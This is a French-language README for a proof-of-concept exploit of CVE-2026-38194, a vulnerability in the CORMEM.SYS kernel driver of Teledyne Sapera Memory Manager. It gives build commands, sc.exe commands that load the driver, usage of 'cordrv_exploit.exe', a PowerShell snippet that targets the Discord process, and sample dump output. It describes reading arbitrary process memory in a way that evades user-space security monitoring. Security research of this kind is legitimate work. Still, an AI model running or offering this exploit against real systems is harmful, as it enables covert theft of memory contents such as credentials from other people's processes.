
Cet outil démontre la CVE-2026-38194, une vulnérabilité dans Teledyne Digital Imaging Sapera Memory Manager (v9.0.0.0 et versions antérieures). Le pilote noyau CORMEM.SYS expose des IOCTL sans aucune vérification de contrôle d'accès, permettant à un utilisateur standard non privilégié de lire et d'écrire directement la mémoire arbitraire de processus via le noyau, contournant ainsi la surveillance de l'API Win32.
AVERTISSEMENT :
Ce projet est destiné uniquement à des fins éducatives et de recherche en sécurité. Utilisez-le uniquement sur des systèmes dont vous êtes propriétaire ou pour lesquels vous avez une autorisation explicite de test. Une utilisation non autorisée peut être illégale dans votre juridiction.
Cet outil démontre la CVE-2026-38194, une vulnérabilité dans Teledyne Digital Imaging Sapera Memory Manager (v9.0.0.0 et inférieur).
Le pilote noyau CORMEM.SYS expose des IOCTL sans aucune vérification de contrôle d'accès,
permettant à un utilisateur standard non privilégié de lire et d'écrire la mémoire de n'importe quel processus
directement via le noyau — contournant entièrement la surveillance de l'API Win32.

La mémoire est accédée via la traduction d'adresse physique (parcours de la table de pages) plutôt que via ReadProcessMemory, ce qui la rend transparente pour la plupart des logiciels de sécurité en espace utilisateur.
cmake -B build -A x64
cmake --build build --config Release
Si CORMEM.SYS n'est pas déjà chargé, chargez-le manuellement en tant qu'administrateur :
sc.exe create CORMEM binPath= "C:\chemin\vers\CORMEM.SYS" type= kernel start= demand
sc.exe start CORMEM
Déchargez-le une fois terminé :
sc.exe stop CORMEM
sc.exe delete CORMEM
cordrv_exploit.exe <pid> <adresse> [taille]
pid Identifiant du processus (décimal)
adresse Adresse virtuelle à lire (hexadécimale)
taille Octets à vider, par défaut 256, max 1048576
# Récupère le processus Discord principal
$proc = Get-Process -Name "Discord" | Sort-Object WorkingSet -Descending | Select-Object -First 1
$discordPid = $proc.Id
$base = $proc.Modules[0].BaseAddress
Write-Host "PID : $discordPid"
Write-Host "Base : 0x$($base.ToString('X'))"
.\build\Release\cordrv_exploit.exe $discordPid "0x$($base.ToString('X'))" 256
Sortie attendue :
[*] PID cible : 16364
[*] Adresse cible : 0x7FF6FC180000
[*] Taille du vidage : 256 octets
[*] Initialisation de CorDrv...
[+] Pilote initialisé.
[*] Recherche du DTB système...
[+] DTB système : 0x1AE000
[*] Recherche dans la liste EPROCESS du PID 16364...
[+] DTB du processus : 0x2CD30F000
[+] VA 0x7FF6FC180000 -> PA 0x1A98C2000
Vidage mémoire (0x7FF6FC180000, 256 octets) :
7FF6FC180000: 4D 5A 78 00 01 00 00 00 04 00 00 00 00 00 00 00
7FF6FC180010: 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00
...
[+] Terminé.
Le 4D 5A à l'offset 0 confirme que l'en-tête MZ a été lu avec succès depuis la RAM physique.